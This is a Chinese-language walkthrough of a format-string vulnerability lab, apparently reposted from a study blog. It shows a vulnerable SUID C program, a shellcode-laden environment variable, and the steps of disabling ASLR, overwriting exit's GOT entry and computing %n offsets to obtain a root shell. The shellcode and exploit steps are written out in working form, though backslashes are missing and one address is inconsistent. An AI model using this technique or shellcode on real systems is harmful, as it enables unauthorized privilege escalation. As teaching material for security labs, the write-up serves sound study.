复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20// vul.c /* * 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址 * 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏 * 移来计算环境变量地址。 * gcc -z execstack -o got got.c */ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[1024]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); puts("done"); exit(0); } 利用 root 把上面这段代码编译并且 suid,然后普通用户执行它,要求就是成 功获得 root shell。
- 观察以上代码,我们的思路是将shellcode写进环境变量,然后获取环境变量的地址,再将这个地址覆盖exit函数的地址,这样,在程序执行到exit(0)的时候,就会执行我们的shellcode。
- 下面给出的get.c用于获取环境变量地址:
复制代码
1
2
3
4
5
6
7
8
9
10//get.c //export EGG=$(python -c "print 'x90'*1000 + 'x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80'") #include <stdio.h> #include <stdlib.h> int main(void) { printf("Egg address: %p ",getenv("EGG")); }
- 首先,关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0
2.编译get.c,利用 root 把vul.c编译并且 suid,还要使栈可执行
3.定义一个环境变量 EGG 存放 shellcode,再执行get获取它的地址。
复制代码
1
2export EGG=$(python -c "print 'x90'*1000 + 'x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80'")
得到EGG地址为:0xbfff29e
4.查找exit的地址:objdump -R vul
可以看到exit的地址为0x0804a00c
5.查询 AAAA 在内存中位置:
AAAA在第11个位置。
6.实施攻击,实施攻击的关键是计算把 shellcode 的地址 0xbffff29e 写到析
构函数的返回地址(即 0x 0804a00c)所指向的内存字中所需要的偏移量。
计算偏移量:
- 49143=bfff-8;
- 12959=f29e-bfff;
攻击成功…成功获得root权限~
最后
以上就是大胆大侠最近收集整理的关于Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode写进环境变量)的全部内容,更多相关Format-String内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复